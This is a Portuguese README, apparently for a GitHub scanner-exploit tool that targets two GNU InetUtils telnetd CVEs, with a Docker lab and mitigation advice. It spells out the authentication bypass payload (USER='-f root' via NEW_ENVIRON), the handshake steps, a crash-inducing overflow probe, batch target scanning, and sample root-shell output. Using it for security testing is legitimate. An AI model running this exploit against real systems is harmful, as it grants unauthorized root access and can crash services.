Scanner de Vulnerabilidades Telnet (CVE-2026-24061 & CVE-2026-32746)

Uma ferramenta de avaliação de segurança baseada em Python que detecta e (quando aplicável) explora duas vulnerabilidades críticas no telnetd do GNU InetUtils:

CVE-2026-24061 – Bypass de autenticação via injeção da variável de ambiente USER (CVSS 9.8)
CVE-2026-32746 – Estouro de buffer pré-autenticação no manipulador LINEMODE SLC (CVSS 9.8)

Aviso Importante

Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não se responsabilizam pelo uso indevido ou danos causados por esta ferramenta. Use por sua conta e risco.

image1(1)

Funcionalidades

Varredura de alvo único – Insira endereços IP ou nomes de domínio em tempo de execução
Varredura em lote – Carregue um arquivo contendo vários alvos (um por linha)
Teste seletivo – Teste cada vulnerabilidade individualmente ou ambas
Exploração CVE-2026-24061 – Se vulnerável, a ferramenta o coloca em um shell interativo root diretamente no mesmo terminal
Detecção CVE-2026-32746 – Identifica sistemas vulneráveis através de detecção controlada de crash
Manipulação limpa do terminal – Shell em modo raw com restauração adequada ao sair
Validação de conexão – Distingue entre portas filtradas, serviços offline e vulnerabilidades reais
Depuração detalhada – Defina TELNET_SCAN_VERBOSE=1 para ver cada pacote IAC e a narrativa passo a passo do exploit
Ambiente de laboratório Docker – Alvo vulnerável autocontido para testes seguros

Instalação

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

Uso

Execução Básica

python3 telnet_scanner.py

Laboratório Docker (Teste Seguro)

Teste o exploit contra um alvo vulnerável conhecido sem arriscar sistemas reais:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Alvo: 127.0.0.1, Porta: 2323

O laboratório executa um telnetd do GNU InetUtils 2.5 vulnerável em um contêiner isolado, vinculado apenas ao localhost. Sem exposição à rede.

Modo Detalhado

Depure o handshake telnet e veja exatamente o que está acontecendo no fio:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

A saída detalhada mostra:

Cada comando IAC (DO/WILL/SB) enviado e recebido
Nomes de opções telnet decodificados
Dumps hexadecimais de payload para subnegociações
Fluxo do exploit passo a passo (handshake de 6 etapas)

Fluxo de Alvo Único

Escolha a opção 1
Digite o alvo (IP ou domínio, ex.: 192.168.1.100 ou example.com)
Especifique a porta (padrão é 23 se deixado em branco)
Selecione o tipo de teste:
- 1 – Ambas as vulnerabilidades
- 2 – Apenas CVE-2026-24061 (bypass de autenticação)
- 3 – Apenas CVE-2026-32746 (estouro de buffer)

Fluxo de Varredura em Lote

Crie um arquivo com os alvos (um por linha) Exemplo targets.txt:

192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Esta é uma linha de comentário - ignorada

Escolha a opção 2
Digite o nome do arquivo
Especifique a porta (padrão é 23)
Selecione o tipo de teste (1, 2 ou 3)
O scanner irá:
- Mostrar o progresso para cada alvo
- Exibir os resultados à medida que são concluídos
- Fornecer uma tabela resumida ao final

Quando um Shell é Obtido

Se o CVE-2026-24061 for bem-sucedido:

A vulnerabilidade é detectada
Um shell interativo root aparece diretamente na mesma janela do terminal
Digite comandos e veja a saída imediatamente (ex.: id, whoami, ls)
Pressione Ctrl+C para sair do shell e retornar ao menu do scanner
Para varreduras em lote, você será perguntado se deseja interagir com o shell ou continuar a varredura

Nenhum terminal separado ou etapas extras são necessários.

Como Funciona

CVE-2026-24061 – Bypass de Autenticação

O exploit segue um handshake telnet preciso de 6 etapas para garantir compatibilidade com o telnetd real do GNU InetUtils:

Aguardar negociação do servidor – Até 15 segundos para DNS reverso e opções DO iniciais
Responder WILL – Reconhecer TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON
Aguardar SB SEND – Solicitações de subnegociação do servidor
Enviar payload do exploit – Definir USER="-f root" via subnegociação NEW_ENVIRON
Lidar com as trocas restantes – Responder a DO/WILL para SGA, ECHO, LINEMODE, NAWS
Detectar shell – Procurar por prompt , ou

Uma thread de keepalive envia IAC NOP a cada 2 segundos para evitar que o ttloop() do telnetd detecte EOF e chame exit(1) antes que o payload seja processado.

O telnetd vulnerável passa -f root para /usr/bin/login, ignorando a autenticação e concedendo acesso imediato ao shell root.

CVE-2026-32746 – Detecção de Estouro de Buffer

Negocia a opção LINEMODE (RFC 1184)
Envia 500+ tripletos SLC (1500+ bytes) para estourar o buffer de tamanho fixo
Monitora reinicializações/quedas de conexão para confirmar a vulnerabilidade

Validação de Conexão

Pré-varredura para verificar a disponibilidade do serviço antes de tentar exploits
Distingue entre:
- Portas filtradas (firewall bloqueando)
- Serviços offline (nenhum serviço em execução)
- Serviços vulneráveis (exploit bem-sucedido)

Exemplo de Saída

Alvo Único

=== Scanner de Vulnerabilidades Telnet ===
1. Escanear um único alvo
2. Escanear alvos de um arquivo (um IP/hostname por linha)
3. Sair

Escolha uma opção: 1
Porta (padrão 23): 

Quais testes executar?
1. Ambos
2. Apenas CVE-2026-24061 (bypass de auth - fornece shell se vulnerável)
3. Apenas CVE-2026-32746 (detecção de estouro de buffer)
Escolha [1-3]: 1
Alvo (IP ou domínio): 192.168.1.100

[*] Resolvido 192.168.1.100 -> 192.168.1.100
[*] Escaneando 192.168.1.100:23...

[*] Verificando se o serviço está acessível...
[+] Serviço acessível

[*] Testando CVE-2026-24061 (bypass de autenticação)...
[!] CVE-2026-24061: VULNERÁVEL – shell obtido!

============================================================
[+] SHELL ROOT OBTIDO! Você está agora em um shell interativo root.
[+] Digite comandos diretamente aqui. Pressione Ctrl+C para sair do shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

Saída do Modo Detalhado (Parcial)

    [PASSO 1/6] Aguardando negociação do servidor (pode levar até 15s)...
    [PASSO 1/6] Obtidos 48 bytes: fffb18fffb20fffb23fffb27...
           decodificado: IAC DO TERMINAL-TYPE
           decodificado: IAC DO TERMINAL-SPEED  
           decodificado: IAC DO X-DISPLAY-LOCATION
           decodificado: IAC DO NEW-ENVIRON
    [PASSO 2/6] Respondendo WILL a todas as opções DO
    [PASSO 3/6] Aguardando solicitações de subnegociação SB SEND...
    [PASSO 4/6] Enviando respostas de subnegociação...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [PASSO 5/6] Lidando com as negociações de opções restantes...
    [PASSO 5/6] Texto recebido: 'root@vuln-lab:~# '
    [RESULTADO] SUCESSO: Login root sem senha via injeção USER="-f root"

Varredura em Lote

=== Scanner de Vulnerabilidades Telnet ===
1. Escanear um único alvo
2. Escanear alvos de um arquivo (um IP/hostname por linha)
3. Sair

Escolha uma opção: 2
Porta (padrão 23): 
Digite o nome do arquivo com os alvos (um por linha): targets.txt

Quais testes executar?
1. Ambos
2. Apenas CVE-2026-24061 (bypass de auth - fornece shell se vulnerável)
3. Apenas CVE-2026-32746 (detecção de estouro de buffer)
Escolha [1-3]: 1

[*] Carregados 3 alvos de targets.txt

==================================================
[1/3] Escaneando 192.168.1.100:23
==================================================
[*] Resolvido 192.168.1.100 -> 192.168.1.100
[+] Serviço acessível

[*] Testando CVE-2026-24061...
[!] CVE-2026-24061: VULNERÁVEL – shell obtido!

[?] Shell obtido! Interagir agora? (s/N): n

[*] Testando CVE-2026-32746...
[+] Servidor não caiu; provavelmente não vulnerável

==================================================
[2/3] Escaneando 192.168.1.101:23
==================================================
[-] Serviço não acessível em 192.168.1.101:23

==================================================
[3/3] Escaneando example.com:23
==================================================
[*] Resolvido example.com -> 93.184.216.34
[+] Serviço acessível

[*] Testando CVE-2026-24061...
[+] Nenhuma resposta recebida; pode ainda estar vulnerável

[*] Testando CVE-2026-32746...
[!] CVE-2026-32746: VULNERÁVEL (servidor caiu)

============================================================
RESUMO DA VARREDURA
============================================================
192.168.1.100: VULNERÁVEL ao CVE-2026-24061
192.168.1.101: Serviço inacessível
example.com: VULNERÁVEL ao CVE-2026-32746
============================================================

Mitigação

Se você descobrir sistemas vulneráveis, aplique estas correções:

Atualize o GNU InetUtils para a versão 2.8 ou superior
Desabilite o telnetd e bloqueie a porta TCP/23 nos limites da rede
Restrinja o acesso apenas a redes confiáveis
Monitore logs em busca de conexões com valores NEW_ENVIRON USER começando com -f

Desenvolvimento e Testes

Laboratório Docker

O diretório lab/ incluído fornece um ambiente de teste seguro e reproduzível:

cd lab
docker compose up -d
# Aguarde ~10 segundos para o telnetd inicializar
python3 ../telnet_scanner.py
# Alvo: 127.0.0.1, Porta: 2323

Recursos do laboratório:

GNU InetUtils 2.5 compilado a partir do código-fonte (versões vulneráveis)
Executa telnetd dentro de um contêiner isolado
Vinculado apenas ao localhost:2323 – seguro para desenvolvimento
Inclui um usuário de teste (labuser:labpass123) para depuração

Pare o laboratório quando terminar:

cd lab && docker compose down

Limitações Conhecidas

O teste de estouro (CVE-2026-32746) pode derrubar o serviço telnetd alvo
As teclas de seta e redimensionamento do terminal não são totalmente suportadas no shell interativo
Alguns firewalls ou configurações de rede podem interferir na negociação de opções Telnet
Usuários Windows: o shell interativo requer um terminal do tipo Unix (WSL, Cygwin ou Linux/macOS)

image0(2)

Agradecimentos

Agradecimentos especiais a @leetcrypt – O handshake adequado de 6 etapas, thread de keepalive, modo detalhado e laboratório Docker estão matando!

AVISO: apenas para testes de segurança autorizados e fins educacionais.

telnet_scan

Mais Populares